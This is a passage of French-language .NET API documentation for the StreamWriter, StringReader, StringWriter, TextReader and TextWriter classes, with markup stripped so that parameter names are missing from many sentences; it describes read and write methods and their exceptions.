Tableau de caractères contenant les données à écrire.Si est null, rien n'est écrit. + Une erreur d'E/S se produit. + + a la valeur true ou la mémoire tampon de est saturée, et le writer actuel est fermé. + + a la valeur true ou la mémoire tampon de est saturée, et le contenu de la mémoire tampon ne peut pas être écrit dans le flux de taille fixe sous-jacent, car se trouve à la fin du flux. + 1 + + + Écrit un sous-tableau de caractères dans le flux. + Tableau de caractères contenant les données à écrire. + Position du caractère dans la mémoire tampon où la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + Une erreur d'E/S se produit. + + a la valeur true ou la mémoire tampon de est saturée, et le writer actuel est fermé. + + a la valeur true ou la mémoire tampon de est saturée, et le contenu de la mémoire tampon ne peut pas être écrit dans le flux de taille fixe sous-jacent, car se trouve à la fin du flux. + 1 + + + Écrit une chaîne dans le flux. + Chaîne à écrire dans le flux.Si a la valeur null, rien n'est écrit. + + a la valeur true ou la mémoire tampon de est saturée, et le writer actuel est fermé. + + a la valeur true ou la mémoire tampon de est saturée, et le contenu de la mémoire tampon ne peut pas être écrit dans le flux de taille fixe sous-jacent, car se trouve à la fin du flux. + Une erreur d'E/S se produit. + 1 + + + Écrit un caractère dans le flux de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans le flux. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères dans le flux de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères contenant les données à écrire. + Position du caractère dans la mémoire où commencer la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne dans le flux de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire dans le flux.Si est null, rien n'est écrit. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un terminateur de ligne dans le flux de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit dans le flux un caractère suivi d'un terminateur de ligne de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans le flux. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères suivi d'un terminateur de ligne de façon asynchrone dans le flux. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position du caractère dans la mémoire tampon où la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne suivie d'un terminateur de ligne de façon asynchrone dans le flux. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si la valeur est null, seul le terminateur de ligne est écrit. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Implémente qui lit une chaîne. + 2 + + + Initialise une nouvelle instance de la classe qui lit la chaîne spécifiée. + Chaîne à laquelle doit être initialisé. + Le paramètre est null. + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour libérer uniquement les ressources non managées. + + + Retourne le prochain caractère disponible, mais ne le consomme pas. + Entier représentant le prochain caractère à lire, ou -1 si plus aucun caractère n'est disponible ou si le flux ne prend pas en charge la recherche. + Le lecteur actuel est fermé. + 2 + + + Lit le caractère suivant dans la chaîne d'entrée et avance sa position d'un caractère. + Caractère suivant de la chaîne sous-jacente, ou -1 si plus aucun caractère n'est disponible. + Le lecteur actuel est fermé. + 2 + + + Lit un bloc de caractères dans la chaîne d'entrée et avance la position du caractère de . + Nombre total de caractères lus dans la mémoire tampon.Cela peut être inférieur au nombre de caractères demandé si ce nombre n'est pas actuellement disponible, ou égal à zéro si la fin de la chaîne sous-jacente a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Index de début dans la mémoire tampon. + Nombre de caractères à lire. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + Le lecteur actuel est fermé. + 2 + + + Lit un nombre maximal spécifié de caractères à partir de la chaîne actuelle de manière asynchrone, et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur de résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin de la chaîne a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin de la chaîne est atteinte avant que le nombre de caractères spécifié soit écrit dans la mémoire tampon, la méthode est retournée. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le lecteur de chaîne a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit un nombre maximal spécifié de caractères à partir de la chaîne actuelle de manière asynchrone, et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur de résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin de la chaîne a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin de la chaîne est atteinte avant que le nombre de caractères spécifié soit écrit dans la mémoire tampon, la méthode est retournée. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le lecteur de chaîne a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit une ligne de caractères à partir de la chaîne en cours et retourne les données sous forme de chaîne. + Ligne suivante dans la chaîne actuelle ou null si la fin de la chaîne est atteinte. + Le lecteur actuel est fermé. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + 2 + + + Lit une ligne de caractères de manière asynchrone à partir de la chaîne en cours et retourne les données sous forme de chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient la ligne suivante issue du lecteur de chaîne, ou a la valeur null si tous les caractères ont été lus. + Le nombre de caractères contenus dans la ligne suivante est supérieur à . + Le lecteur de chaîne a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit tous les caractères entre la position actuelle et la fin de la chaîne, puis les retourne sous la forme d'une chaîne unique. + Contenu à partir de la position actuelle jusqu'à la fin du flux sous-jacent. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + Le lecteur actuel est fermé. + 2 + + + Lit tous les caractères entre la position actuelle et la fin de la chaîne de manière asynchrone, puis les retourne sous la forme d'une chaîne unique. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient une chaîne composée des caractères de la position actuelle jusqu'à la fin de la chaîne. + Le nombre de caractères est supérieur à . + Le lecteur de chaîne a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Implémente pour l'écriture d'informations dans une chaîne.Les informations sont stockées dans un sous-jacent. + 2 + + + Initialise une nouvelle instance de la classe . + + + Initialise une nouvelle instance de la classe avec le contrôle de format spécifié. + Objet qui contrôle la mise en forme. + + + Initialise une nouvelle instance de la classe qui écrit dans le spécifié. + StringBuilder dans lequel écrire. + + a la valeur null. + + + Initialise une nouvelle instance de la classe qui écrit dans le spécifié et possède le fournisseur de formats donné. + StringBuilder dans lequel écrire. + Objet qui contrôle la mise en forme. + + a la valeur null. + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour libérer uniquement les ressources non managées. + + + Obtient le dans lequel la sortie est écrite. + Encoding dans lequel la sortie est écrite. + 1 + + + Efface de façon asynchrone toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon sur le périphérique sous-jacent. + Tâche qui représente l'opération de vidage asynchrone. + + + Retourne le sous-jacent. + StringBuilder sous-jacent. + 2 + + + Retourne une chaîne contenant les caractères écrits jusqu'ici dans le StringWriter en cours. + Chaîne contenant les caractères écrits dans le StringWriter en cours. + 2 + + + Écrit un caractère dans la chaîne. + Caractère à écrire. + Le writer est fermé. + 2 + + + Écrit un sous-tableau de caractères dans la chaîne. + Tableau de caractères à partir duquel les données doivent être écrites. + Position dans la mémoire tampon à laquelle commencer la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + ou est négatif. + ( + )> .Length. + Le writer est fermé. + 2 + + + Écrit une chaîne dans la chaîne actuelle. + Chaîne à écrire. + Le writer est fermé. + 2 + + + Écrit un caractère dans la chaîne de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans la chaîne. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères dans la chaîne de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position dans la mémoire tampon à laquelle commencer la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne dans la chaîne actuelle de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si est null, rien n'est écrit dans le flux de texte. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit dans la chaîne un caractère suivi d'un terminateur de ligne de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans la chaîne. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères suivi d'un terminateur de ligne de façon asynchrone dans la chaîne. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position dans la mémoire tampon à laquelle commencer la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne suivie par un terminateur de ligne de façon asynchrone dans la chaîne actuelle. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si la valeur est null, seul le terminateur de ligne est écrit. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Représente un lecteur capable de lire une série séquentielle de caractères. + 2 + + + Initialise une nouvelle instance de la classe . + + + Libère toutes les ressources utilisées par . + + + Libère les ressources non managées utilisées par l'objet et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + Fournit un TextReader sans données à lire. + 1 + + + Lit le caractère suivant sans modifier l'état du lecteur ou la source du caractère.Retourne le prochain caractère disponible sans le lire réellement à partir du flux lecteur. + Entier représentant le prochain caractère à lire, ou -1 si plus aucun caractère n'est disponible ou si le lecteur ne prend pas en charge la recherche. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Lit le caractère suivant à partir du lecteur de texte et avance la position d'un caractère. + Caractère suivant du lecteur de texte ou -1 s'il n'y a plus de caractères disponibles.L'implémentation par défaut retourne -1. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Lit un nombre maximal spécifié de caractères à partir du lecteur actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Nombre de caractères lus.Le nombre sera inférieur ou égal à , selon les données disponibles dans le lecteur.Cette méthode retourne zéro si elle est appelée alors qu'il ne reste aucun caractère à lire. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du lecteur est atteinte avant que le nombre de caractères spécifié soit lu dans la mémoire tampon, la méthode est retournée. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Lit de façon asynchrone un nombre maximal de caractères spécifié dans le lecteur de texte actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur de résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du texte a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du texte est atteinte avant que le nombre de caractères spécifié soit lu dans la mémoire tampon, la méthode en cours est retournée. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le lecteur de texte a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit un nombre maximal spécifié de caractères à partir du lecteur de texte actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Nombre de caractères lus.Le nombre sera inférieur ou égal à , selon que tous les caractères d'entrée ont été lus. + Lorsque cette méthode est retournée, ce paramètre contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + -1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + + est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit de façon asynchrone un nombre maximal de caractères spécifié dans le lecteur de texte actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur de résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du texte a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du texte est atteinte avant que le nombre de caractères spécifié soit lu dans la mémoire tampon, la méthode en cours est retournée. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le lecteur de texte a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit une ligne de caractères à partir du lecteur de texte et retourne les données sous forme de chaîne. + La ligne suivante du lecteur ou null si tous les caractères ont été lus. + Une erreur d'E/S se produit. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + + est fermé. + Le nombre de caractères contenus dans la ligne suivante est supérieur à + 1 + + + Lit une ligne de caractères de manière asynchrone et retourne les données sous forme de chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient la ligne suivante issue du lecteur de texte, ou a la valeur null si tous les caractères ont été lus. + Le nombre de caractères contenus dans la ligne suivante est supérieur à . + Le lecteur de texte a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit tous les caractères entre la position actuelle et la fin du lecteur de texte, puis les retourne sous forme d'une chaîne. + Chaîne contenant tous les caractères entre la position actuelle et la fin du lecteur de texte. + Une erreur d'E/S se produit. + + est fermé. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + Le nombre de caractères contenus dans la ligne suivante est supérieur à + 1 + + + Lit tous les caractères entre la position actuelle et la fin du lecteur de texte de manière asynchrone, puis les retourne sous la forme d'une chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient une chaîne composée des caractères de la position actuelle jusqu'à la fin du flux du lecteur de texte. + Le nombre de caractères est supérieur à . + Le lecteur de texte a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Représente un writer capable d'écrire une série de caractères séquentiels.Cette classe est abstraite. + 2 + + + Initialise une nouvelle instance de la classe . + + + Initialise une nouvelle instance de la classe avec le fournisseur de format spécifié. + Objet qui contrôle la mise en forme. + + + Stocke les caractères de saut de ligne utilisés pour ce TextWriter. + + + Libère toutes les ressources utilisées par l'objet . + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + En cas de substitution dans une classe dérivée, retourne l'encodage de caractères dans lequel la sortie est écrite. + Encodage de caractères dans lequel la sortie est écrite. + 1 + + + Efface toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent. + 1 + + + Efface de façon asynchrone toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent. + Tâche qui représente l'opération de vidage asynchrone. + Le writer de texte est supprimé. + Le writer est actuellement utilisé par une opération d'écriture précédente. + + + Obtient un objet qui contrôle la mise en forme. + Objet pour une culture spécifique, ou mise en forme de la culture actuelle si aucune autre culture n'est spécifiée. + 2 + + + Obtient ou définit la chaîne de marque de fin de ligne utilisée pour le TextWriter actuel. + Chaîne de marque de fin de ligne pour le TextWriter actuel. + 2 + + + Fournit un élément TextWriter sans magasin de stockage dans lequel il est possible d'écrire, mais pas de lire. + 1 + + + Écrit la représentation textuelle d'une valeur Boolean dans la chaîne ou le flux de texte. + La valeur Boolean à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un caractère dans la chaîne ou le flux de texte. + Caractère à écrire dans le flux de texte. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un tableau de caractères dans la chaîne ou le flux de texte. + Tableau de caractères à écrire dans le flux de texte. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un sous-tableau de caractères dans la chaîne ou le flux de texte. + Tableau de caractères à partir duquel les données doivent être écrites. + Position du caractère dans la mémoire tampon à laquelle commencer la récupération des données. + Nombre de caractères à écrire. + La longueur de la mémoire tampon moins est inférieure à . + Le paramètre a la valeur null. + + ou est négatif. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur décimale dans la chaîne ou le flux de texte. + Valeur décimale à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur à virgule flottante de 8 octets dans la chaîne ou le flux de texte. + Valeur à virgule flottante de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier signé de 4 octets dans la chaîne ou le flux de texte. + Entier signé de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier signé de 8 octets dans la chaîne ou le flux de texte. + Entier signé de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un objet dans la chaîne ou le flux de texte en appelant la méthode ToString sur cet objet. + Objet à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur à virgule flottante de 4 octets dans la chaîne ou le flux de texte. + Valeur à virgule flottante de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une chaîne dans la chaîne ou le flux de texte. + Chaîne à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une chaîne mise en forme dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à un). + 1 + + + Écrit une chaîne mise en forme dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Premier objet à mettre en forme et à écrire. + Deuxième objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à deux). + 1 + + + Écrit une chaîne mise en forme dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Premier objet à mettre en forme et à écrire. + Deuxième objet à mettre en forme et à écrire. + Troisième objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à trois). + 1 + + + Écrit une chaîne mise en forme dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Tableau d'objets contenant aucun, un ou plusieurs objets à mettre en forme et à écrire. + + ou a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de mise en forme est inférieur à 0 (zéro), ou supérieur ou égal à la longueur du tableau . + 1 + + + Écrit la représentation textuelle d'un entier non signé de 4 octets dans la chaîne ou le flux de texte. + Entier non signé de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier non signé de 8 octets dans la chaîne ou le flux de texte. + Entier non signé de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un caractère de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans le flux de texte. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un tableau de caractères de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à écrire dans le flux de texte.Si a la valeur null, rien n'est écrit. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position du caractère dans la mémoire tampon à laquelle commencer la récupération des données. + Nombre de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si a la valeur null, rien n'est écrit dans le flux de texte. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une marque de fin de ligne dans la chaîne ou le flux de texte. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur Boolean suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + La valeur Boolean à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un caractère suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Caractère à écrire dans le flux de texte. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un tableau de caractères suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Tableau de caractères dans lequel sont lues des données. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un sous-tableau de caractères suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Tableau de caractères dans lequel sont lues des données. + Dans , position de caractère à laquelle commencer la lecture des données. + Nombre maximal de caractères à écrire. + La longueur de la mémoire tampon moins est inférieure à . + Le paramètre a la valeur null. + + ou est négatif. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur décimale suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Valeur décimale à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur à virgule flottante de 8 octets suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Valeur à virgule flottante de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier signé de 4 octets suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Entier signé de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier signé de 8 octets suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Entier signé de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un objet en appelant la méthode ToString sur cet objet, suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Objet à écrire.Si a la valeur null, seule la marque de fin de ligne est écrite. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur à virgule flottante de 4 octets suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Valeur à virgule flottante de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une chaîne suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Chaîne à écrire.Si a la valeur null, seule la marque de fin de ligne est écrite. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une chaîne mise en forme et une nouvelle ligne dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à un). + 1 + + + Écrit une chaîne mise en forme et une nouvelle ligne dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Premier objet à mettre en forme et à écrire. + Deuxième objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à deux). + 1 + + + Écrit une chaîne mise en forme et une nouvelle ligne, en utilisant la même sémantique que . + Chaîne de format composite (consultez la section Notes). + Premier objet à mettre en forme et à écrire. + Deuxième objet à mettre en forme et à écrire. + Troisième objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à trois). + 1 + + + Écrit une chaîne mise en forme et une nouvelle ligne, en utilisant la même sémantique que . + Chaîne de format composite (consultez la section Notes). + Tableau d'objets contenant aucun, un ou plusieurs objets à mettre en forme et à écrire. + Une chaîne ou un objet est passé en tant que null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de mise en forme est inférieur à 0 (zéro), ou supérieur ou égal à la longueur du tableau . + 1 + + + Écrit la représentation textuelle d'un entier non signé de 4 octets suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Entier non signé de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier non signé de 8 octets suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Entier non signé de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un caractère suivi d'une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans le flux de texte. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un tableau de caractères suivi d'une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à écrire dans le flux de texte.Si le tableau de caractères a la valeur null, seul la marque de fin de ligne est écrite. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères suivi d'une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position du caractère dans la mémoire tampon à laquelle commencer la récupération des données. + Nombre de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de texte est supprimé. + Le writer de 